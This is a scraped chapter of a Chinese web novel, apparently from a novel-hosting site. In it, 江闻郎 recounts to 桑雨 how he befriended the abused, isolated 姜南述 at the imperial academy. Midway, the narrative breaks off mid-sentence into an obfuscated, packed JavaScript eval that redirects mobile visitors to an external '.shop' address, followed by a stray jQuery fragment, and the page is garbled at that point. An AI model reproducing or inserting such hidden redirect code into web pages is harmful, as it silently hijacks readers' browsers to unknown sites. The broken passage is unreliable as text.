文趣网 > 都市小说 > 暴君拯救手册 > 13. 我想和你交朋友
    桑雨一个没留神,江闻郎眼眶快速氤氲起薄雾,连呼吸都带上细碎的抽噎:“嫂嫂,姜哥口信不一,不知道怎么爱人。”

    “他父母脑子都有病,导致姜哥跟正常人都不一样。”

    “他现在还算好的,我认识他的时候,他……”江闻郎顿住,思考该怎么形容合适,良久他缓缓开口,“像空洞没有芯的树。”

    “只知道生长,知道加固外壳,抵抗风雨。你要是扒开看,是空的,任何人、事都无法…落脚。”

    江闻郎心情沉重,端起剩下的酒一饮而尽,“我很早就知道姜南述,却没正式打过招呼。”

    “第一次,是在腊月。天降大雪,国子监散学后,已经积了厚厚的雪。”

    “不知是谁先团了个雪球,砸向相熟的朋友,洁白的雪砸开,雪沫溅的哪里都是。那被砸的朋友很快也抓雪报仇。”

    “越来越多的人加入打雪仗的行列,嬉闹欢笑声响彻整个国子监。姜南述站在角落,与我们格格不入。

    孤寂的气质是一回事,更引人注目的是他的衣着。

    深冬腊月,风雪交加,他没披狐裘银貂,只穿了层锦制夹袍。

    身边同伴见我盯着他看,低声问我:

    “你在看姜南述吗?”

    桑雨听着江闻郎讲述,恍若跟着他回到了那年腊月。

    “他就是姜南述?”江闻郎难掩好奇问道。

    “嗯。你别靠近他,他是个怪人。”同伴显然了解江闻郎的性子,劝说道,“他身份敏感,你别因此惹了其他几位皇子。”

    “知道了知道了”

    江闻郎嘴上应着,转头同伴一个没留意他已经凑到姜南述身边了。

    很显然同伴的话白说了。

    “你穿这么少不冷吗?”

    姜南述一个眼神都没分给他,仍静静站着面无表情。

    寻常人碰了壁定不会再理,江闻郎却不是寻常人,他反倒兴致更甚。

    “你是冷的吧?”江闻郎注意到他冻的青紫的手,“你这么冷为什么不多穿件衣服?”

    姜南述敛眸不睬。

    “没听说是哑巴啊”江闻郎小声呢喃。

    姜南述目光幽冷,“跟你有什么关系。”

    “会说话啊,你声音还挺好听的。”江闻郎解下自己的狐裘递给姜南述,“我这个暖和你穿着吧。”

    姜南述盯着那件狐裘,什么也没说转身离开。江闻郎迈步跟上,把狐裘披到他身上,用最快的速度跑走。

    “我当时回头看了一眼,姜南述在对着狐裘发愣。白狐裘毛绒绒的,其实与他不太搭,但我当时特别欢喜。”

    “觉得狐裘在他身上,像是刺猬翻了个身,露出柔软的肚皮。”

    “几乎也就是在那刻,我确定,我想交姜南述这个朋友。”江闻郎感怀道,“他很特别啊,跟我见过的所有人都不一样。”

    “可那过后,姜南述一连好几日都没来国子监。我四处打探,先生告诉我,是姜南述生病了。”

    *

    生病了?

    也是,他穿那么少怎么可能不生病

    江闻郎一直念着这件事,一散学后便立马提着礼品上门,想探望姜南述。可到了门口,怎么也不让见。

    最后还是他生气了搬出侯府,负责看守大门的小厮又去请示了一番,这才被允许探望。

    姜南述住在最偏僻的院落,连个伺候的下人都没有。

    亲眼见到姜南述的地位,江闻郎这才相信传言,甚至觉得现实更加夸张。

    按理来说,姜南述生病了,屋子会满是药味,江闻郎都做好了被药味熏到的准备,可跨过整间院子,他都没有闻到一分一毫的药味。

    他狐疑地推开屋门,这才嗅到极淡的苦药味。

    姜南述趴在床榻上,没穿寝衣,瘦削的后背挂着令人触目惊心的鞭痕。

    望见这一幕,江闻郎脚步骤然顿住,心中翻起惊涛骇浪。

    “姜兄?”他很久才找回自己的声音,小声唤姜南述。

    没有回应。

    江闻郎蹑手蹑脚退出去,关上门,他要去请大夫。

    他腿扑腾的飞快,格外后悔今日出来只带了马夫,没带婢女。

    “江小侯爷这是要去哪里啊?”

    听到有人叫他,江闻郎蓦然偏头看去,是个极漂亮的妇人,他思绪回转间已经猜出了妇人的身份——姜南述的母亲。

    “晚辈见过伯母。”江闻郎问好。

    他犹豫着要不要告知是去请大夫,听说姜南述的母亲对他极差,会不会自己不给姜南述请大夫,也不许别人请。

    他没思考出结果,因为赵芙没给他时间考虑了,她要赶他走。他是客人,人家是主人,再怎么江闻郎也不好发作,只能被下人半催半赶推出府。

    赵芙身边的婢女给他递过来一样东西,是他的那件白狐裘。

    “小侯爷,我们家夫人派奴婢给您带句话”婢女垂首道,“姜少爷不需要朋友,小侯爷若是真关心少爷,日后便少来往,少爷也能少受些伤。”

    “我不能做姜南述的朋友吗?”起初江闻郎还不愿相信话中真正的意思,试探性询问。

    “我们少爷不需要朋友。”

    竟是真的不许姜南述拥有朋友

    江闻郎接过狐裘,难以置信地盯着它,一股寒意自脚底窜到脊椎,同时他感到深深的愤怒。

    他想说脏话,又生生憋回去。

    这件狐裘他再也没穿过,每每看见他都会愧疚。

    因为他,因为他硬要姜南述穿,他才会受那么重的伤。

    “怎么会有这样的母亲?”江闻郎气愤地一拍桌子,“全天下都找不出第二个这么恶毒的人!

    桑雨深以为然,直颔首。

    “那次探望过后,又过了好多天姜南述终于来国子监了。听说这个消息,我又惊又喜,赶忙跑到他所在的班,见到了他。”江闻郎接着讲,“姜南述面色、嘴唇淡白,没有半点血色,瞧着浑身无力。”

    “他因我受的伤,我既担心又愧疚,磨磨蹭蹭挪到他身边,憋了半天一句话都没憋出来。”

    “姜南述主动跟我说了第一句话,他问

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915334|213298||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我是不是来看过他?”江闻郎看了眼还在睡觉的姜南述,“我问他伤怎么样了,他没回我,只是静静看了我一眼。”

    “就在我以为他不会再理我的时候,他突然跟我说,不要再跟他来往了。我当时也不知怎么想的直接问他”

    “你想交我这个朋友吗?”

    “姜哥当时沉默了很长时间,我很想知道他的答案啊,但是先生将至,没办法再等下去,于是我让他散学在老位置等我。”

    桑雨:“他等你了?”

    “怎么可能。”江闻郎回,“他压根就没去,我最后是在他班内找到他的,他坐在那里赶课业。”

    “我坐到他对面,他像是猜到我会来,一点也没意外。我认真想了好久,还是想和他做朋友,不仅仅是觉得他特别,更多的是我认为他需要朋友。”

    “他太孤单了。”

    “姜南述,我想和你做朋友。”

    “说完,我又特别小声告诉他,说我们可以偷偷做。

    姜南述默不作声,我又太想知道答案了,我干脆趴到他桌面上,盯着他的眼睛,试图从他眼睛里看出答案。”

    桑雨想到那个画面不合时宜地笑了一声,江闻郎也跟着扬了扬唇角,“姜南述的眼睛确实有答案。”

    “我看到他那双空洞的眼睛泛起波澜。”江闻郎笃定道,“他想和我做朋友。”

    “从那之后我一直缠着他,赵芙后来发现了,但也没再管过我们,我们更光明正大了。整个国子监都知道江闻郎和姜南述形影不离,是最好的朋友。”

    “日子一久我发现姜南述就是棵没有芯的树,内里什么都没有,没有人告诉过他该有什么,我努力填啊填啊,把没有人教他的都教给他。”

    江闻郎声音闷闷的,“终于我用了近五年时间,他长出了芯,他才变成现在这样,像是个正常人。”

    “很多感情啊我都没办法,也不知道怎么教给他,毕竟我这个人情感很大条,我能做到只有努力陪着他,导致他对情感好像只认识到了朋友。”

    “我给他装了芯,芯却是荒芜的。”

    江闻郎说着又红了眼眶,“嫂嫂你能懂吗?”

    桑雨点点头,姜南述的内心是一片荒芜。

    “嫂嫂,后来赵芙死后他被接到宫中,我们的接触就少很多了。我不能一直在他身边了,我也不知道宫里会发生什么。

    夜深人静的时候,我会胡思乱想,姜南述进了那个吃人不眨眼的皇宫,会不会被吃的骨头都不剩。

    接着我又否认自己,就姜南述那样的脑子,肯定不会让自己受委屈。

    我翻来覆去想啊,皇宫里面的事情太多了,人性太扭曲了,姜南述会不会被影响。想到最后我会生出丝庆幸,庆幸在他进宫前和他一起长出了芯。

    姜南述还是变了,变得更像一个君王,可以这么说吗?我反正总觉得见他如见天子。”

    江闻郎这话稍稍缓和了气氛,空气没再那么沉重。

    “姜哥小小年纪就展示天子之气了”江闻郎笑着叹气,“难怪后来太子那么看不惯姜哥。”